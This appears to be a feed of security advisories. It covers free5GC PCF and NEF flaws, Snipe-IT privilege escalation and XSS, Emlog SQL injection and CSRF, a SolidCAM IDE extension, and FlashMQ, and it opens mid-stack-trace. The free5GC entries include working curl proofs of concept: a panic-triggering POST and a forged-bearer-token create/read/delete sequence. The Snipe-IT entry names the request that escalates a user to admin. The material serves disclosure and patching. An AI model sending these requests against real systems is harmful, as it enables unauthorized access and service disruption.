github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65
- risk 0.38cvss —epss —
### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated. ### Details Validated against the PCF container in the official Docker compose lab. - free5GC version: `v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: `http://10.100.200.9:8000` Vulnerable handler path (paraphrased from the captured stack trace): ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405 ``` The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct. Code evidence (paths in `free5gc/pcf`): - Panic site: - `NFs/pcf/internal/sbi/processor/smpolicy.go:82` - Route dispatch: - `NFs/pcf/internal/sbi/api_smpolicy.go:86` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic: ``` curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62
- risk 0.59cvss —epss —
### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` - Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` - Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` - POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` - GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` - DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23
- risk 0.38cvss —epss —
### Impact An authenticated user with only `users.edit` permission can escalate their own privileges to `admin` by sending a PATCH request to `/api/v1/users/{id}` with `permissions[admin]=1`. The API controller only strips the `superuser` key from the permissions array, allowing `admin` and all other permission keys to be set by any user who can update users. ### Patches Patched in https://github.com/grokability/snipe-it/commit/ce18ff669ceb0f0349749fd5d11c1d3d40b10569, fix was released in v8.4.1 ### Workarounds None.
- risk 0.19cvss —epss —
### Impact Users with component view access could be impacted by an unescaped `notes` column. ### Patches This was patched in https://github.com/grokability/snipe-it/commit/28f493d84d057895fbb93b6570e7393a2c2fa438, and is fixed in v8.4.1 or greater. ### Workarounds None.
- risk 0.65cvss —epss 0.00
Emlog is an open source website building system. Prior to version 2.6.11, direct SQL injection in article creation and update functions allows attackers to execute arbitrary SQL commands, potentially leading to complete database compromise, data theft, or system destruction. This issue has been patched in version 2.6.11.
- risk 0.55cvss —epss 0.00
Emlog is an open source website building system. Prior to version 2.6.11, missing CSRF protection in critical admin functions allows attackers to trick authenticated administrators into performing unauthorized actions like system registration, plugin management, and configuration changes. This issue has been patched in version 2.6.11.
- risk 0.33cvss —epss 0.00
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, the inc "filename" directive in GPPL postprocessor files is resolved by GpplDocumentLinkHandler into a clickable link (VS Code textDocument/documentLink). The handler accepted arbitrary paths — absolute, relative with parent-directory segments (..\..\..\), UNC (\\server\share\), and arbitrary subfolders — and called File.Exists on each to decide whether to render the link. Two distinct attack surfaces resulted: information disclosure via File.Exists probing and NTLM hash leak via UNC path probing. This issue has been patched in version 1.0.2.
- risk 0.46cvss —epss 0.00
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.
- risk 0.42cvss 6.5epss 0.00
FlashMQ is a MQTT broker/server, designed for multi-CPU environments. Prior to version 1.26.1, a remote client with retained publish permission can crash the FlashMQ broker when both set_retained_message_defer_timeout and set_retained_message_defer_timeout_spread are configured to non-default values, resulting in denial of service. If anonymous retained publishing is allowed, no authentication is required; otherwise, the attacker needs the corresponding publish permission. This issue has been patched in version 1.26.1.